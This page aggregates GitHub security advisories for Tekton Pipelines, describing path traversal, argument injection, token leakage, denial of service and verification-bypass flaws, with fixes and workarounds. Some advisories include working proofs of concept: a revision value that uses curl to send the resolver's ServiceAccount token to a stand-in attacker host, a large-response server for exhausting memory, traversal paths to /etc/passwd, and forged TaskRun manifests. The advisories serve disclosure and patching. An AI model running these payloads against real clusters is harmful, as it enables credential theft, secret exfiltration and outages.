Where
-Infinity
0
Severity
9.6
EPSS
0.02%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

The Tekton Pipelines git resolver is vulnerable to path traversal via the pathInRepo parameter. A tenant with permission to create ResolutionRequests (e.g. by creating TaskRuns or PipelineRuns that use the git resolver) can read arbitrary files from the resolver pod's filesystem, including ServiceAccount tokens. The file contents are returned base64-encoded in resolutionrequest.status.data.

Details

The git resolver's getFileContent() function in pkg/resolution/resolver/git/repository.go constructs a file path by joining the repository clone directory with the user-supplied pathInRepo parameter:

go fileContents, err := os.ReadFile(filepath.Join(repo.directory, path))

The pathInRepo parameter is not validated for path traversal sequences. An attacker can supply values like ../../../../etc/passwd to escape the cloned repository directory and read arbitrary files from the resolver pod's filesystem.

The vulnerability was introduced in commit 318006c4e3a5 which switched the git resolver from the go-git library (using an in-memory filesystem that cannot be escaped) to shelling out to the git binary and reading files with os.ReadFile() from the real filesystem.

Impact

Arbitrary file read — A namespace-scoped tenant who can create TaskRuns or PipelineRuns with git resolver parameters can read any file readable by the resolver pod process.

Credential exfiltration and privilege escalation — The resolver pod's ServiceAccount token is readable at a well-known path (/var/run/secrets/kubernetes.io/serviceaccount/token). In the default RBAC configuration, the tekton-pipelines-resolvers ServiceAccount has get, list, and watch permissions on secrets cluster-wide. An attacker who exfiltrates this token gains the ability to read all Secrets across all namespaces, escalating from namespace-scoped access to cluster-wide secret access.

Patches

Fixed in 1.0.x, 1.3.x, 1.6.x, 1.9.x, 1.10.x.

The fix validates pathInRepo to reject paths containing .. components at parameter validation time, and adds a containment check using filepath.EvalSymlinks() to prevent symlink-based escapes from attacker-controlled repositories.

Workarounds

There is no workaround other than restricting which users can create TaskRuns, PipelineRuns, or ResolutionRequests that use the git resolver. Administrators can also reduce the impact by scoping the resolver pod's ServiceAccount RBAC permissions using a custom ClusterRole with more restrictive rules.

Affected Versions

All releases from v1.0.0 through v1.10.0, including all patch releases:

- v1.0.0, v1.1.0, v1.2.0 - v1.3.0, v1.3.1, v1.3.2 - v1.4.0, v1.5.0, v1.6.0, v1.7.0 - v1.9.0, v1.9.1, v1.10.0

Releases prior to v1.0.0 (e.g. v0.70.0 and earlier) are not affected because they used the go-git library's in-memory filesystem where path traversal cannot escape the git worktree.

Acknowledgments

This vulnerability was reported by Oleh Konko (@1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!

References

- Fix: (link to merged PR/commit) - Introduced in: 318006c4e3a5 ("fix: resolve Git Anonymous Resolver excessive memory usage")

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

go // pkg/resolution/resolver/git/repository.go lines 84-96 // 'revision' is the raw user-supplied string from the ResolutionRequest param. // It is passed verbatim as a positional argument to git fetch: func (repo repository) checkout(ctx context.Context, revision string) error { , err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1") // When revision == "--upload-pack=/usr/bin/curl", git parses it as the // --upload-pack flag, not as a refspec — executing the binary locally. if err != nil { return fmt.Errorf("fetch: %w", err) } , err = repo.execGit(ctx, "checkout", "FETCHHEAD") return err }

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

go // validateRepoURL validates if the given URL is a valid git, http, https URL or // starting with a / (a local repository). func validateRepoURL(url string) bool { pattern := ^(/|[^@]+@[^:]+|(git|https?)://) re := regexp.MustCompile(pattern) return re.MatchString(url) }

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either: - A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or - A default-URL configuration pointing at a local path

PoC

bash Step 1: Set up a local git repository to serve as the "origin" (in a real attack, the attacker would time this against a concurrent clone or use any pre-existing git repo path on the resolver pod) git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

Step 2: Craft a ResolutionRequest with injected --upload-pack flag kubectl create -f - <<'EOF' apiVersion: resolution.tekton.dev/v1beta1 kind: ResolutionRequest metadata: name: revision-injection-poc namespace: default labels: resolution.tekton.dev/type: git spec: params: - name: url value: /tmp/localrepo - name: revision value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)" - name: pathInRepo value: README.md EOF

The resolver pod executes: git -C <tmpdir> fetch origin \ "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \ --depth=1 For single-argument binaries (/bin/sh, /usr/bin/env, etc.): git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1 Executes /bin/sh with the local repository path as argv[1]. From /bin/sh, the attacker can use a pre-staged script (e.g., written via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact

- Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod. - Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster. - Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure. - Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.

Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

go if strings.HasPrefix(paramsMap[RevisionParam], "-") { return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam]) }

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

go func validateRepoURL(url string) bool { pattern := ^([^@]+@[^:]+|(git|https?)://) re := regexp.MustCompile(pattern) return re.MatchString(url) }

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.

1 / 3
Source: GitHub
First published (updated )
Severity
7.7
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The Tekton Pipelines git resolver in API mode sends the system-configured Git API token to a user-controlled serverURL when the user omits the token parameter. A tenant with TaskRun or PipelineRun create permission can exfiltrate the shared API token (GitHub PAT, GitLab token, etc.) by pointing serverURL to an attacker-controlled endpoint.

Details

The git resolver's ResolveAPIGit() function in pkg/resolution/resolver/git/resolver.go constructs an SCM client using the user-supplied serverURL and a token obtained via getAPIToken().

When the user provides serverURL but omits the token parameter:

1. getSCMTypeAndServerURL() reads serverURL directly from user params (params[ServerURLParam]) with no validation against the system-configured URL.

2. secretRef is set to nil because the user did not provide a token parameter.

3. getAPIToken(ctx, nil, APISecretNameKey) is called. It detects apiSecret == nil, creates a new secretCacheKey, and populates it from the system-configured secret (conf.APISecretName / conf.APISecretNamespace / SYSTEMNAMESPACE).

4. clientFunc(scmType, serverURL, string(apiToken)) creates an SCM client pointed at the attacker-controlled URL with the system token. The SCM factory sets the token as an Authorization header on the HTTP client.

5. All subsequent API calls (Contents.Find, Git.FindCommit) carry the system token to the attacker URL.

Impact

The system Git API token (GitHub PAT, GitLab token, etc.) is exfiltrated to an attacker-controlled endpoint. This token typically has read access to private repositories containing source code, secrets, and CI/CD configurations.

This follows the same threat model as GHSA-j5q5-j9gm-2w5c (published March 2026): a namespace-scoped tenant with permission to create TaskRuns exploits the git resolver to exfiltrate credentials. The prior advisory involved reading the resolver pod's ServiceAccount token via path traversal. This finding involves redirecting the system Git API token via serverURL.

Patches

(to be filled in after fix is merged and released)

The fix validates that when serverURL is user-provided and differs from the system-configured server URL, the user must also provide their own token parameter. Using the system token with a non-system server URL is rejected.

Workarounds

- Do not configure a system-level API token in the git resolver ConfigMap. Instead, require all users to provide their own tokens via the token parameter. - Restrict TaskRun creation — limit which users or ServiceAccounts can create TaskRuns and PipelineRuns that use the git resolver. - Network egress policies — apply NetworkPolicy to the tekton-pipelines-resolvers namespace to restrict outbound traffic to known-good Git servers only.

Affected Versions

All releases from v1.0.0 through v1.10.0, including all patch releases. The API mode of the git resolver has been present since the resolver was introduced.

Releases prior to v1.0.0 are not affected because the git resolver either did not exist or did not have API mode.

Acknowledgments

This vulnerability was reported by Koda Reef (@kodareef5), who provided a detailed analysis and proof-of-concept. Thank you!

References

- Prior advisory: GHSA-j5q5-j9gm-2w5c - Related: #9608 (deprecate api-token-secret-namespace) - Related: #9609 (SubjectAccessReview for resolver secrets)

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.01%
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

A user with permission to create or update a TaskRun or PipelineRun can crash the Tekton Pipelines controller by setting .spec.taskRef.resolver (or .spec.pipelineRef.resolver) to a string of 31 characters or more, causing a denial of service for all reconciliation.

Details

The controller panics in GenerateDeterministicNameFromSpec when building a deterministic ResolutionRequest name. The generated name has the format {resolver}-{hash} and, when the resolver name is long enough, the result exceeds the DNS-1123 label limit of 63 characters.

The truncation logic attempts to find a word boundary using strings.LastIndex(name, " "). Since the generated name never contains spaces (it is composed of the resolver name, a dash, and a hex-encoded hash), LastIndex returns -1, which is then used as a slice bound:

go return name[:strings.LastIndex(name[:maxLength], " ")], nil // strings.LastIndex returns -1 → panic: slice bounds out of range [:-1]

The panic crashes the controller. Because the offending TaskRun or PipelineRun is re-reconciled on restart, the controller enters a CrashLoopBackOff, blocking all TaskRun and PipelineRun reconciliation cluster-wide until the offending resource is manually deleted.

Built-in resolvers use short names (git, cluster, bundles, hub) and are not affected under normal usage. The vulnerability is exploitable by any user who can create TaskRuns or PipelineRuns with a custom resolver name.

Impact

Denial of service — A single malicious TaskRun or PipelineRun with a long resolver name is sufficient to crash the Tekton Pipelines controller into a restart loop, blocking all CI/CD reconciliation cluster-wide until the resource is removed.

Patches

(to be filled in: e.g. "Fixed in versions 1.10.1, 1.9.1, ...")

The fix computes the hash first, then truncates only the prefix (resolver name) to fit within the DNS-1123 label limit, preserving the full hash to maintain determinism and uniqueness of ResolutionRequest names.

Workarounds

Restrict who can create TaskRun and PipelineRun resources via Kubernetes RBAC. There is no validation-side workaround without patching.

Affected Versions

All releases from v0.60.0 through v1.10.0.

The vulnerable truncation logic was introduced in commit ea1fa7ad1fdc ("Remote Resolution Refactor"), first released in v0.60.0 (2024-05-22).

Currently supported affected releases: - v1.10.x (latest) - v1.9.x (LTS, EOL 2027-01-30) - v1.6.x (LTS, EOL 2026-10-31) - v1.3.x (LTS, EOL 2026-08-04) - v1.0.x (LTS, EOL 2026-04-29)

Releases prior to v0.60.0 are not affected — the truncation code did not exist.

Acknowledgments

This vulnerability was reported by Oleh Konko (@1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!

References

- Fix: (link to merged PR/commit) - Introduced in: ea1fa7ad1fdc ("Remote Resolution Refactor")

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

The Trusted Resources verification system matches a resource source string (refSource.URI) against spec.resources[].pattern using Go's regexp.MatchString. In Go, regexp.MatchString reports a match if the pattern matches anywhere in the input string. As a result, common unanchored patterns—including examples found in Tekton documentation—can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. This may cause an unintended policy match and alter which verification mode or keys are applied.

Affected Component

- Repository: <https://github.com/tektoncd/pipeline> - Commit: 0133513db03dadb3cb08301d6b0330badcb63830 - Call site: pkg/trustedresources/verify.go:118–137 (getMatchedPolicies)

Impact

An attacker can craft a Trusted Resources source string that embeds a trusted substring and still matches an unanchored VerificationPolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. This occurs because regexp.MatchString succeeds on substring matches. For example, a pattern such as https://github.com/tektoncd/catalog.git would match an attacker-controlled source like https://evil.com/?x=https://github.com/tektoncd/catalog.git.

Affected: Deployments using Trusted Resources verification with unanchored VerificationPolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

Not affected: Deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

Reproduction

Canonical (Demonstrates Vulnerability)

bash unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001 cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001 bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log

- Expected (secure): Capability not reached; canonical does not emit vulnerability markers. - Actual (vulnerable): Capability reached; canonical emits vulnerability markers. - Canonical markers (mandatory): [CALLSITEHIT] + [PROOFMARKER]

Negative Control

bash bash ./run.sh control | tee /tmp/tekton-regex-001-control.log

- Expected: Capability not reached under the same harness; control emits the control marker and does not emit vulnerability markers. - Control markers (mandatory): [CALLSITEHIT] + [NCMARKER]

Verification

bash grep -n '\[PROOFMARKER\]' /tmp/tekton-regex-001-canonical.log \ && grep -n '\[NCMARKER\]' /tmp/tekton-regex-001-control.log \ && ! grep -n '\[PROOFMARKER\]' /tmp/tekton-regex-001-control.log

Suggested Fix

It is recommended to make matching safe-by-default by requiring full-string matches, or by validating patterns and clearly documenting substring semantics. Possible approaches include:

1. Anchor patterns before matching — e.g., wrap pattern as ^(?:pattern)$ when not already anchored. 2. Introduce a separate field for exact match vs. regex match semantics. 3. Document substring semantics explicitly and update all documentation examples to include anchors.

A fix is considered accepted when, under the same harness, the canonical test still hits [CALLSITEHIT] but does not emit [PROOFMARKER].

Workarounds

Anchor all VerificationPolicy resource patterns so they must match the full source string. For example:

yaml pattern: "^https://github\\.com/tektoncd/catalog\\.git$"

Proof Bundle

- Bundle: poc.zip - Convention: The zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions. - Contains: canonical.log, control.log, witness.txt - Extracted paths: ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt - Integrity verification: Compare shasum -a 256 for canonical.log, control.log, fix.patch, and test source against witness.txt.

Note: If a supported integration uses verified HTTPS app-links or universal links only, provide the supported tag or branch and retesting on that pin can be arranged.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

go func FetchHttpResource(ctx context.Context, params map[string]string, kubeclient kubernetes.Interface, logger zap.SugaredLogger) (framework.ResolvedResource, error) {

httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute // ... resp, err := httpClient.Do(req) // ... defer func() { = resp.Body.Close() }()

body, err := io.ReadAll(resp.Body) // ← no size limit if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } // ... }

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC

bash Step 1: Run an HTTP server that streams a large response fast python3 - <<'EOF' import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.endheaders() # Stream 5 GB at full speed — completes in <60s on a local network chunk = b"X" (1024 1024) # 1 MiB chunk for in range(5120): # 5120 1 MiB = 5 GiB self.wfile.write(chunk)

def logmessage(self, args): pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd: httpd.serveforever() EOF

Step 2: Create a TaskRun that triggers the HTTP resolver kubectl create -f - <<'EOF' apiVersion: tekton.dev/v1 kind: TaskRun metadata: name: dos-poc namespace: default spec: taskRef: resolver: http params: - name: url value: http://attacker-server.internal:8080/large-payload EOF

Expected result: tekton-pipelines-resolvers pod is OOM-killed. All resolver types in the cluster (git, hub, bundle, cluster, http) become unavailable until Kubernetes restarts the pod. Repeated submission causes a crash loop that continuously disrupts resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact

- Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod. - Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold. - Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.

Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

go const defaultMaxBodyBytes = 50 1024 1024 // 50 MiB

// In FetchHttpResource, replace: // body, err := io.ReadAll(resp.Body) // with: maxBytes := int64(defaultMaxBodyBytes) if v, ok := conf["max-body-size"]; ok { if parsed, err := strconv.ParseInt(v, 10, 64); err == nil { maxBytes = parsed } } limitedReader := io.LimitReader(resp.Body, maxBytes+1) body, err := io.ReadAll(limitedReader) if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } if int64(len(body)) > maxBytes { return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes) }

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

A validation bypass in the VolumeMount path restriction allows mounting volumes under restricted /tekton/ internal paths by using .. path traversal components. The restriction check uses strings.HasPrefix without filepath.Clean, so a path like /tekton/home/../results passes validation but resolves to /tekton/results at runtime.

Details

Tekton Pipelines restricts VolumeMount paths under /tekton/ (except /tekton/home) to prevent users from interfering with internal execution state. The validation at pkg/apis/pipeline/v1/containervalidation.go checks mount paths using strings.HasPrefix without normalizing the path first:

go if strings.HasPrefix(vm.MountPath, "/tekton/") && !strings.HasPrefix(vm.MountPath, "/tekton/home") { // reject }

Because /tekton/home is an allowed prefix, a path like /tekton/home/../results passes both checks. At runtime, the container runtime resolves .. and the actual mount point becomes /tekton/results.

The same pattern exists in pkg/apis/pipeline/v1beta1/taskvalidation.go.

Impact

An authenticated user with Task or TaskRun creation permissions can mount volumes over internal Tekton paths, potentially:

- Writing fake task results that downstream pipelines trust - Reading or modifying step scripts before execution - Interfering with entrypoint coordination state

Patches

A patch is available at v1.11.1.

Workarounds

- Use admission controllers (OPA/Gatekeeper, Kyverno) to validate that VolumeMount paths do not contain .. components. - In multi-tenant setups, restrict who can create Task and TaskRun resources via RBAC.

Affected Versions

All versions through v1.11.0 (both v1 and v1beta1 APIs).

Acknowledgments

This vulnerability was reported by @kodareef5.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.

We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.

Details While we store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference, we only store (api version, kind, name) in the ChildStatusReference .

This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.

I believe this is also true for TaskRuns -> Pods since it looks like we only lookup by name, though I haven't tested this.

If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)

PoC

yaml apiVersion: tekton.dev/v1beta1 kind: PipelineRun metadata: name: hello-pr spec: pipelineSpec: tasks: - name: task1 taskSpec: steps: - name: echo image: distroless.dev/alpine-base script: | sleep 60 - name: task2 runAfter: [task1] taskSpec: steps: - name: echo image: distroless.dev/alpine-base script: | echo "asdf" > $(results.foo.path) results: - name: foo results: - name: foo value: $(tasks.task2.results.foo)

Once this is running, grab the PR UID:

sh $ k get pr hello-pr -o json | jq .metadata.uid -r

While pipeline is running task 1, start fake task 2:

yaml apiVersion: tekton.dev/v1beta1 kind: TaskRun metadata: annotations: labels: app.kubernetes.io/managed-by: tekton-pipelines tekton.dev/memberOf: tasks tekton.dev/pipeline: hello-pr tekton.dev/pipelineRun: hello-pr tekton.dev/pipelineTask: task2 name: hello-pr-task2 namespace: default ownerReferences: - apiVersion: tekton.dev/v1beta1 blockOwnerDeletion: true controller: true kind: PipelineRun name: hello-pr uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step spec: serviceAccountName: default taskSpec: results: - name: foo type: string steps: - image: distroless.dev/alpine-base name: echo resources: {} script: | echo "zxcv" > $(results.foo.path)

Get pipeline results - it shows the output of the 2nd injected TaskRun

$ k get pr -o json hello-pr | jq .status.pipelineResults [ { "name": "foo", "value": "zxcv\n" } ]

Impact

This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.

Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203